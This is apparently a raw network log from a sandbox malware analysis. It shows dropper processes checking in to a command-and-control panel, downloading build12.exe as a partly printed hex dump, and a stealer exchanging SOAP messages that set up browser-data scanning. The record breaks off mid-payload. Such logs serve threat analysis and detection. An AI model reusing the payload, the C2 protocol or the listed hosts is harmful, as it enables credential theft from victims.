bf <c>1000187001+++97289d03516e941d3afadafebf9425fcde6a4efdaa62275888c5ad5f0cac75bb057353d009fcf7#1000188001+++97289d03516e941d3afadafebf9425fcde6a4efdaa62275888c5ad5f0cac75bb057353d009fcf7#<d>0
Apr 19, 2024 03:30:04.437968016 CEST	57	OUT	GET /lend/build12.exe HTTP/1.1 Host: 193.233.132.167
Apr 19, 2024 03:30:04.686192989 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:04 GMT Content-Type: application/octet-stream Content-Length: 97792 Last-Modified: Fri, 19 Apr 2024 00:20:52 GMT Connection: keep-alive ETag: "6621b8e4-17e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 a2 a9 0c f0 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 74 01 00 00 08 00 00 00 00 00 00 4e 93 01 00 00 20 00 00 00 00 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 01 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 93 01 00 4b 00 00 00 00 a0 01 00 de 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 01 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 54 73 01 00 00 20 00 00 00 74 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 de 04 00 00 00 a0 01 00 00 06 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 01 00 00 02 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 93 01 00 00 00 00 00 48 00 00 00 02 00 05 00 b4 af 00 00 4c e3 00 00 03 00 00 00 43 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 30 09 00 20 03 00 00 01 00 00 11 73 01 00 00 0a 0a 02 7e 03 00 00 04 25 2d 17 26 7e 02 00 00 04 fe 06 10 00 00 06 73 02 00 00 0a 25 80 03 00 00 04 28 01 00 00 2b 6f 04 00 00 0a 0b 38 cc 02 00 00 07 6f 05 00 00 0a 17 17 19 8d 08 00 00 01 25 16 1f 0a 8d 09 00 00 01 25 d0 0a 01 00 04 28 06 00 00 0a 73 07 00 00 0a a2 25 17 1e 8d 09 00 00 01 25 d0 02 01 00 04 28 06 00 00 0a 73 07 00 00 0a a2 25 18 1d 8d 09 00 00 01 25 d0 07 01 00 04 28 06 00 00 0a 73 07 00 00 0a a2 28 01 01 00 06 6f 08 00 00 0a 0c 38 46 02 00 00 12 02 28 09 00 00 0a 0d 73 09 00 00 06 13 04 73 2c 01 00 06 13 05 11 04 7e 0a 00 00 0a 7d 01 00 00 04 7e 0a 00 00 0a 13 06 11 04 09 73 0b 00 00 0a 28 0c 00 00 0a 6f 0d 00 00 0a 7d 01 00 00 04 11 04 7b 01 00 00 04 1f 0f 8d 09 00 00 01 25 d0 12 01 00 04 28 06 00 00 0a 73 07 00 00 0a 6f 0e 00 00 0a 2c 1a 1e 8d 09 00 00 01 25 d0 fd 00 00 04 28 06 00 00 0a 73 07 00 00 0a 13 06 2b 4f 09 1f 3e 8d 09 00 00 01 25 d0 ca 00 00 04 28 06 00 00 0a 73 07 00 00 0a 72 01 00 00 70 7e 0a 00 00 0a 28 0f 00 00 0a 28 10 00 00 0a 6f 0e 00 00 0a 2d 0e 11 04 7b 01 00 00 04 28 04 01 00 06 2b 0c 11 04 7b 01 00 00 04 28 03 01 00 06 13 06 11 06 28 11 00 00 0a 3a 56 01 00 00 11 06 16 6f 12 00 00 0a 13 08 12 08 28 13 00 00 0a 6f 14 00 00 0a 11 06 16 17 6f 15 00 00 0a 28 16 00 00 0a 13 06 11 04 7b Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL0tN @ @K H.textTs t `.rsrcv@@.reloc\|@B0HLC0 s~%-&~s%(+o8o%%(s%%(s%%(s(o8F(ss,~}~s(o}{%(so,%(s+O>%(srp~((o-{(+{((:Vo(oo({
Apr 19, 2024 03:30:04.686230898 CEST	1289	IN	Data Raw: 01 00 00 04 28 02 01 00 06 13 07 11 07 28 11 00 00 0a 3a 16 01 00 00 11 06 1f 5c 28 02 00 00 2b 2c 19 11 06 17 8d 09 00 00 01 25 16 1f 5c 9d 6f 18 00 00 0a 28 03 00 00 2b 13 06 11 05 11 06 6f 20 01 00 06 11 05 11 07 6f 22 01 00 06 11 05 11 04 fe Data Ascii: ((:\(+,%\o(+o o"s~%-&~s%(+o$s~%-&~s%(+o*s~%-&~s%(+o&
Apr 19, 2024 03:30:04.686331034 CEST	1289	IN	Data Raw: d0 08 01 00 04 28 06 00 00 0a 73 07 00 00 0a 6f ac 00 00 06 72 2d 00 00 70 6f 0e 00 00 0a 6f 34 01 00 06 11 08 11 05 11 06 1f 0b 8d 09 00 00 01 25 d0 f1 00 00 04 28 06 00 00 0a 73 07 00 00 0a 6f ac 00 00 06 6f 29 00 00 0a 28 2f 00 00 0a 20 40 42 Data Ascii: (sor-poo4%(soo)(/ @Bj[!Yo6%(soo)o8%(so(o:o5j/*(0(1(2!Yo6
Apr 19, 2024 03:30:04.686369896 CEST	1289	IN	Data Raw: 6f 38 00 00 0a 11 06 17 58 13 06 11 06 11 05 6f aa 00 00 06 3f e1 fe ff ff de 03 26 de 00 de 0c 11 04 2c 07 11 04 6f 24 00 00 0a dc de 03 26 de 00 06 2a 09 2a 00 00 41 64 00 00 00 00 00 00 76 00 00 00 f9 00 00 00 6f 01 00 00 03 00 00 00 01 00 00 Data Ascii: o8Xo?&,o$&*Advo@T@Y0@~ov3o13(9()+(2o)&5;
Apr 19, 2024 03:30:04.686451912 CEST	1289	IN	Data Raw: 6f 24 00 00 0a dc de 64 26 de 61 06 06 6f 45 01 00 06 28 11 00 00 0a 2d 08 06 6f 45 01 00 06 2b 05 72 19 00 00 70 6f 46 01 00 06 06 06 6f 47 01 00 06 28 11 00 00 0a 2d 08 06 6f 47 01 00 06 2b 05 72 19 00 00 70 6f 48 01 00 06 06 06 6f 49 01 00 06 Data Ascii: o$d&aoE(-oE+rpoFoG(-oG+rpoHoI(-oI+rpoJ*(a0s~%-&~s%(+o85o%%
Apr 19, 2024 03:30:04.686496973 CEST	1289	IN	Data Raw: 10 00 00 0a 7e 0a 00 00 0a 6f 0f 00 00 0a 10 00 02 17 8d 09 00 00 01 25 16 1f 5c 9d 17 6f 5c 00 00 0a 0b 07 18 9a 1e 8d 09 00 00 01 25 d0 c7 00 00 04 28 06 00 00 0a 73 07 00 00 0a 28 53 00 00 0a 2c 06 07 17 9a 0a 2b 04 07 16 9a 0a de 03 26 de 00 Data Ascii: ~o%\o\%(s(S,+&hn0s~%(s(~o%\o\%(s(S,+&hn
Apr 19, 2024 03:30:04.686568975 CEST	1289	IN	Data Raw: 02 00 30 00 6d 9d 00 0e 00 00 00 00 13 30 05 00 32 00 00 00 13 00 00 11 02 03 72 23 02 00 70 28 2f 00 00 06 0a 1a 8d 25 00 00 01 25 16 06 1a 91 9c 25 17 06 1b 91 9c 25 18 06 1c 91 9c 25 19 06 1d 91 9c 16 28 67 00 00 0a 2a 00 00 13 30 05 00 3e 00 Data Ascii: 0m02r#p(/%%%%%(g0>~h(",sez(iodr?pi(%,sez0rYp(/(g(j% KDBM(k%(k%i(k%(0~h
Apr 19, 2024 03:30:04.686615944 CEST	1289	IN	Data Raw: 0a de 05 26 16 0a de 00 06 2a 00 01 10 00 00 00 00 00 00 10 10 00 05 14 00 00 01 1b 30 03 00 20 00 00 00 1b 00 00 11 04 02 7b 0a 00 00 04 03 6f 18 01 00 06 51 17 0a de 0c 26 04 73 7f 00 00 0a 51 16 0a de 00 06 2a 01 10 00 00 00 00 00 00 12 12 00 Data Ascii: &0 {oQ&sQ0{o&:oB(,3{,+{u:%-&+o{u:%-&o.sH(D*0sF
Apr 19, 2024 03:30:04.686686039 CEST	1289	IN	Data Raw: 2e 00 8c ba 00 03 01 00 00 01 02 00 20 00 ab cb 00 0c 00 00 00 00 00 00 13 00 c6 d9 00 03 01 00 00 01 00 00 06 00 e5 eb 00 03 01 00 00 01 1b 30 04 00 c4 01 00 00 1f 00 00 11 73 95 00 00 0a 0c 08 1f 09 8d 09 00 00 01 25 d0 e0 00 00 04 28 06 00 00 Data Ascii: . 0s%(so%(so%(so%(sos,,1*(8o+(
Apr 19, 2024 03:30:04.686732054 CEST	1289	IN	Data Raw: 00 89 00 00 00 68 01 00 00 03 00 00 00 01 00 00 01 02 00 00 00 d1 00 00 00 a8 00 00 00 79 01 00 00 0c 00 00 00 00 00 00 00 00 00 00 00 ba 00 00 00 cd 00 00 00 87 01 00 00 03 00 00 00 01 00 00 01 00 00 00 00 c5 01 00 00 89 00 00 00 4e 02 00 00 03 Data Ascii: hyN_Tmp}0I!s%(so%
Apr 19, 2024 03:30:04.934964895 CEST	1289	IN	Data Raw: 00 00 0a 0b 06 73 0f 01 00 06 25 07 6f 0a 01 00 06 25 72 b4 04 00 70 6f 0c 01 00 06 25 16 6f 0e 01 00 06 6f a4 00 00 0a de 03 26 de 00 06 2a 00 01 10 00 00 00 00 06 00 38 3e 00 03 01 00 00 01 4a 02 28 14 01 00 06 02 72 c6 04 00 70 28 11 01 00 06 Data Ascii: s%o%rpo%oo&8>J(rp(oo(Grp(rpo0C#s(Grp(s%o%rpo%oo&8>0*$%-&s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49871	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:04.130027056 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:04.373619080 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:30:04.376370907 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:04.624084949 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49873	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:04.984601974 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:05.230546951 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49877	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:05.485228062 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:05.742712975 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	49879	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:06.107033014 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:06.355609894 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:30:06.361576080 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:06.613610983 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	49880	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:06.348500013 CEST	183	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 31 38 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000187001&unit=246122658369
Apr 19, 2024 03:30:06.594388008 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Apr 19, 2024 03:30:06.597733974 CEST	140	OUT	GET /lend/build12.exe HTTP/1.1 Host: 193.233.132.167 If-Modified-Since: Fri, 19 Apr 2024 00:20:52 GMT If-None-Match: "6621b8e4-17e00"
Apr 19, 2024 03:30:06.839776039 CEST	191	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:06 GMT Last-Modified: Fri, 19 Apr 2024 00:20:52 GMT Connection: keep-alive ETag: "6621b8e4-17e00"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	49882	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:07.016180992 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:07.269551039 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	49883	147.185.221.19	30946	5608	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:07.220086098 CEST	248	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: b-stamps.gl.at.ply.gg:30946 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Apr 19, 2024 03:30:07.630357981 CEST	385	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: b-stamps.gl.at.ply.gg:30946 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnect xmlns="http://tempuri.org/"/></s:Body></s:Envelope>
Apr 19, 2024 03:30:19.786227942 CEST	359	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 19 Apr 2024 01:30:19 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
Apr 19, 2024 03:30:20.095185041 CEST	359	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 19 Apr 2024 01:30:19 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
Apr 19, 2024 03:30:24.843379974 CEST	231	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings" Host: b-stamps.gl.at.ply.gg:30946 Content-Length: 144 Expect: 100-continue Accept-Encoding: gzip, deflate
Apr 19, 2024 03:30:33.719772100 CEST	1248	IN	HTTP/1.1 200 OK Content-Length: 4744 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 19 Apr 2024 01:30:33 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 42 6c 6f 63 6b 65 64 43 6f 75 6e 74 72 79 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 42 6c 6f 63 6b 65 64 49 50 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 4f 62 6a 65 63 74 34 3e 74 72 75 65 3c 2f 61 3a 4f 62 6a 65 63 74 34 3e 3c 61 3a 4f 62 6a 65 63 74 36 3e 66 61 6c 73 65 3c 2f 61 3a 4f 62 6a 65 63 74 36 3e 3c 61 3a 53 63 61 6e 42 72 6f 77 73 65 72 73 3e 74 72 75 65 3c 2f 61 3a 53 63 61 6e 42 72 6f 77 73 65 72 73 3e 3c 61 3a 53 63 61 6e 43 68 72 6f 6d 65 42 72 6f 77 73 65 72 73 50 61 74 68 73 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 42 61 74 74 6c 65 2e 6e 65 74 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 43 68 72 6f 6d 69 75 6d 